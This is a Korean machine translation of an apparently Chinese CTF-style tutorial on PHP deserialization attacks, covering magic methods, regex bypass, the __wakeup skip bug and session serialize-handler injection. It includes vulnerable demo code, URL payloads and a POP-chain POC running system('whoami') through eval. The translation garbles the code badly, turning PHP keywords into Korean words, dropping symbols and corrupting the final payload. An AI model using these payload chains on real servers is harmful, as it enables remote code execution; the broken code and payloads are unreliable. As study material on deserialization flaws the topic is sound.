제목 : PHP Desorialization 취약성 관련

反序列化系列​

1 定义与原理​

1.1 相关概念​

메모리 데이터는 "Fleeting"입니다. 일반적으로 프로그램 실행이 완료되고 모두 즉시 파괴됩니다. 변수에 의해 저장된 데이터는 메모리 데이터입니다. 파일은 "영구 데이터"입니다.
직렬화 : 메모리의 변수 데이터를 파일의 영구 데이터에 "저장"하는 프로세스입니다. 단순화 : 메모리를 파일로 바꿉니다
Desserialization : 파일에 저장된 데이터를 직렬화하고 프로그램 코드의 변수 표현으로 복원하는 프로세스입니다. 단순화 : 파일을 메모리로 바꿉니다
취약성의 근본적인 이유는 프로그램이 사용자의 사막화 문자열 입력을 감지하지 않기 때문에, 사막화 프로세스가 악의적으로 제어되어 코드 실행 및 getshell과 같은 일련의 통제 할 수없는 결과를 초래합니다.

1.2 相关函数​

직렬화 (혼합 값) : 문자열
비 시절 (String $ str) : 혼합

1.2.1 序列化​

20190115093558.png-water_print

직렬화의 의미
20190115093729.png-water_print

1.2.2 反序列化​

20190115094638.png-water_print

2 魔术方法 - magic method​

__construct () : 클래스가 생성 될 때 자동으로 호출합니다
__destruct () : 클래스가 파괴 될 때 자동으로 호출됩니다.
__invoke () : 클래스를 함수로 사용할 때 자동으로 호출
__TOSTRING () : 클래스를 문자열로 사용할 때 자동으로 호출
__wakeup () : unserialize () 함수가 호출 될 때 자동으로 호출됩니다.
__sleep () : serialize () 함수가 호출 될 때 자동으로 호출됩니다.
__CALL () : 호출 할 메소드가 존재하지 않거나 권한이 불충분 할 때 자동으로 호출

2.1 注意点​

\ x00 + 클래스 이름 + \ 00 + 변수 이름 Dessorialized는 개인 변수입니다.
\ x00 + * + \ x00 + 변수 이름 Desorialized는 보호 변수입니다.
직접 변수 이름의 사막화는 공개 변수입니다.
20190115102902.png-water_print

객체 앞에 +를 추가하여 일반을 우회합니다
20190115103310.png-water_print

2.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
? php
@error_reporting (1);
클래스 베이비
{
공개 $ 파일;
함수 __toString ()
{
if (isset ($ this-file))
{
$ filename='./{$This-File}';
if (file_get_contents ($ filename))
{
return file_get_contents ($ filename);
}
}
}
}
if (isset ($ _ get [ 'data'])))
{
$ data=$ _get [ 'data'];
preg_match ( '/[oc] : \ d+:/i', $ data, $ matches); //여기에서 o 일치 한 다음 숫자와 함께 가로 채립니다.
if (count ($ matches))
{
다이 ( '해커!');
}
또 다른
{
$ good=비문화 ($ data);
에코 $ 좋은;
}
}
또 다른
{
하이라이트_file ( './index.php');
}
?
페이로드 : URL? data=O:%2B4:'Baby':1: {S:4:'File '; S:8:'flag.php';}

3 PHP Bug 72663​

3.1 原理​

직렬화 된 문자열 일 때, 객체 속성 수를 나타내는 값이 실제 속성 수보다 큰 경우 __wakeup의 실행이 건너 뜁니다.

3.2 DEMO​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
? php
클래스 sofun {
보호 된 $ file='index.php';
함수 __destruct () {
if (! 빈 ($ this-file)) {
if (strchr ($ this-file, '\\')===false strchr ($ this-file, '/')===false) show_source (dirname (__ file__). '/'. $ this-file);
그렇지 않으면 다이 ( '잘못된 filename.');
}
}
함수 __wakeup () {
$ this-file='index.php';
}
공개 함수 __toString () {
반품 '';
}
}
if (! isset ($ _ get [ 'file'])) {
show_source ( 'index.php');
} 또 다른 {
$ file=base64_decode ($ _ get [ 'file']);
echo unsserialize ($ 파일);
}
?
#!-flag.php의 키-
20190115111603.png-water_print

페이로드 : url? file=tzo1oijtb0z1bii6mjp7czo3oiiakgbmawxlijtzojg6imzsywcugwijt9

4 PHP Session 序列化及反序列化​

4.1 相关原理​

4.1.1 PHP Session 序列化机制​

Session_Start ()가 호출되거나 세션이 호출 될 때 AATO_START는 PHP.INI에서 1, PHP 내부 통화 세션 관리자이며 사용자 세션에 액세스 한 후 직렬화되면 Specified Directory에 저장됩니다 (기본값 /TMP).

4.1.2 session 序列化及反序列化处理器​

PHP에는 $ _session 데이터에 액세스하기위한 여러 프로세서가 내장되어 있습니다. 데이터는 직렬화되고 사형화됩니다. 일반적으로 사용되는 다음 세 가지는 세 가지 다른 처리 형식에 해당합니다.
프로세서
해당 스토리지 형식
PHP
키 이름 + 수직선 + Serialize () 함수에 의해 처리 된 값
php_binary
키 이름의 길이에 해당하는 ASCII 문자 + 키 이름 + Serialize () 함수에 의해 처리 된 값
php_serialize (php=5.5.4)
Serialize () 함수를 Desequentization으로 처리하여 처리 된 배열

4.1.3 与 session 存储相关的配置项​

구성 파일 php.ini에는 세션 스토리지와 관련된 이러한 구성 항목이 포함되어 있습니다.
1
2
3
session.save_path='e:/wamp64/tmp' - 기본적으로/tmp에서 세션 저장 경로를 설정
session.auto_start=0- 세션 모듈이 요청 시작시 세션을 시작하는지 여부를 지정합니다. 기본값은 0이고 시작되지 않습니다.
session.serialize_handler=php- 직렬화/deserialize에 사용되는 프로세서 이름을 정의합니다. 기본적으로 PHP를 사용하십시오
PHP는 세션을 제공합니다 .Serialize_handler 구성 옵션은 직렬화 및 사막화에 사용되는 프로세서를 설정할 수 있으며 기본값은 PHP입니다. 다른 엔진으로 수정하려면 다음과 같이 코드 ini_set ( 'session.serialize_handler', '엔진') 만 추가하면됩니다.
1
2
3
4
? php
ini_set ( 'session.serialize_handler', 'php');
session_start ();
$ session [ 'a']=$ _get [ 'a'];
저장된 파일의 이름은 Session_SessionId의 이름을 따서 명명되었으며 파일의 내용은 세션 값의 직렬화 후 내용입니다. sess_cj15cikdujk6uv3bdq6qvonbe7이라는 Session.save_path의 해당 경로에서 새로 생성 된 세션 파일을 볼 수 있으며 스토리지 형식이 Serialize () 함수에 의해 처리 된 키 이름 + 세로 줄 + 값을 볼 수 있습니다.
php_serialize 프로세서 사용 :
1
2
3
4
? php
ini_set ( 'session.serialize_handler', 'php_serialize');
session_start ();
$ session [ 'a']=$ _get [ 'a'];
형식 : Desequence of Serialize () 함수에 의해 처리 된 배열 : A:1: {S:1:'A '; S:'123';}

4.2 PHP session 反序列化漏洞​

PHP가 저장된 $ _session 데이터와 직렬화 할 때 프로세서를 제조 할 때 PHP가 다른 프로세서를 사용하는 경우 데이터를 올바르게 제기 할 수 없습니다. 특수 구성을 통해 모든 데이터를 위조 할 수도 있습니다.

스토리지가 php_serialize에 의해 처리되면 PHP 프로세서를 사용하여 호출 할 때이를 처리합니다. 이 시점에서 주입 된 데이터가 다음과 같은 경우 : a=| o:4:'test':0 {}, 세션의 내용은 다음과 같습니다. A:1: {S33333:'A '; S:16:'| O:4:'TEST':0: {} ';}, 설명에 따르면, A:1: {S:1:'A '; S:16:'은 PHP에 의해 구문 분석 한 후 키 이름으로 간주되며, 인스턴스화 된 테스트 객체를 주입합니다.
구성 옵션 Session_Auto_Start=OFF가 있으면 세션 세션을 등록 할 때 두 스크립트가 사용하는 직렬화 프로세서가 다르면 보안 문제가 발생합니다.

4.3 DEMO​

Index.php
1
2
3
4
5
6
7
? php
show_source (__ file__);
ini_set ( 'session.serialize_handler', 'php');
요구 ( './class.php');
session_start ();
$ obj=새로운 바보 ();
$ obj-varr='phpinfo.php';
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
? php
Highter_String (file_get_contents (basename ($ _ server [ 'php_self'])));
show_source (__ file__);
클래스 foo1 {
공개 $ varr;
함수 __construct () {
$ this-varr='i.php';
}
함수 __destruct () {
if (file_exists ($ this-varr)) {
echo 'br file'. $ this-varr.'Exist br ';
}
echo 'br 이것은 foo1의 소멸자입니다.
}
}
클래스 foo2 {
공개 $ varr;
공개 $ obj;
함수 __construct () {
$ this-varr='1234567890';
$ this-obj=null;
}
함수 __toString () {
$ this-Obj-execute ();
$ this-varr를 반환합니다.
}
함수 __desctuct () {
echo 'br 이것은 foo2의 소멸자입니다.
}
}
클래스 foo3 {
공개 $ varr;
function execute () {
평가 ($ this-varr);
}
함수 __desctuct () {
echo 'br 이것은 foo3의 소멸자입니다.
}
}
?
phpinfo.php
1
2
3
4
5
6
7
8
? php
show_source (__ file__);
session_start ();
요구 ( './class.php');
$ f3=새로운 foo3 ();
$ f3-varr='phpinfo ();';
$ f3-execute ();
?
보시다시피, index.ph는 PHP 프로세서를 사용합니다.
php.ini의 주요 구성의 경우 구성에서 세션에주의를 기울이십시오.
1
2
3
세션 .Serialize_handler=php_serialize
session.upload_progress.cleanup=off
session.upload_progress.enabled=on
phpinfo.php를 방문하여 구성 정보를 볼 수 있습니다.
20190115114733.png-water_print

기본값은 PHP 프로세서를 사용하여 프로세스 세션, session.upload_progress.cleanup이 OFF로 구성되어 있으며 Session.upload_progress.enabled는 on으로 구성됩니다.
session.upload_progress.enabled, 활성화되면 PHP는 업로드 될 때마다 업로드 진행 상황을 모니터링 할 수 있습니다. 업로드가 처리되고 session.upload_progress.name Set Set과 동일한 이름의 변수를 게시하면 $ _session에서 업로드 진행 상황을 얻을 수 있습니다. PHP가 이러한 사후 요청을 감지하면 $ _session에 데이터 세트를 추가하면 인덱스가 Session.upload_progress.prefix 및 session.upload_progress.name의 값입니다.
현재 코드는 서버에 데이터를 제출하지 않지만 Session.upload_progress.enabled.enabled가 활성화되어 파일을 업로드하여 세션 파일에 데이터를 작성할 수 있습니다.
다시 말해, 사용 지점은 session.upload_progress.enabled를 통해 파일을 업로드하는 것입니다. php_serialize 프로세서 형식의 컨텐츠를 세션 파일에 작성하여 index.php의 PHP 프로세서와 다른 세션화 취약성의 존재를 유발합니다.
직렬화 된 POC를 생성하는 데 사용되는 poc.php, foo1의 생성자에서 $ varr 값이 foo2 인 인스턴스를 정의하고, $ obj가 foo2에서 foo3로 인스턴스를 정의하고, foo3의 foo3에서 $ varr의 값을 정의하고, varr의 값을 시스템으로 정의하십시오 ( 'whoami');
poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
? php
클래스 foo3 {
공개 $ varr;
함수 __construct () {
$ this-varr='system ('whoami ');';
}
}
클래스 foo2 {
공개 $ varr;
공개 $ obj;
함수 __construct () {
$ this-varr='1';
$ this-obj=new foo3 ();
}
}
클래스 foo1 {
공개 $ varr;
함수 __construct () {
$ this-varr=new foo2 ();
}
}
Echo Serialize (new foo1 ());
?
form.html, php_session_upload_progress 변수를 포함하여 index.php에 게시물 요청을 제출하는 양식 파일 :
1
2
3
4
5
양식 action='http://127.0.0.1/i.php'method='post'encType='multipart/form-data'
입력 유형='hidden'name='php_session_upload_progress'value='geekby' /
입력 유형='파일'이름='파일' /
입력 유형='제출' /
/형태
Burpsuite는 form.html에 의해 보낸 게시물 요청을 자르고 poc.php가 생성 한 poc에 php_session_upload_progress 열의 값을 추가하여 명령을 성공적으로 실행합니다.
| O:4:'FOO1'33333: {S:4:'Varr '; O:4:'FOO2'3333: {S:4:'Varr'; S:13360133601336013360 0'varr '; s:1:'obj'; o:4:'foo3'333: {s:4:'varr '; s:193360'system ('whoami ');
 
뒤로
상단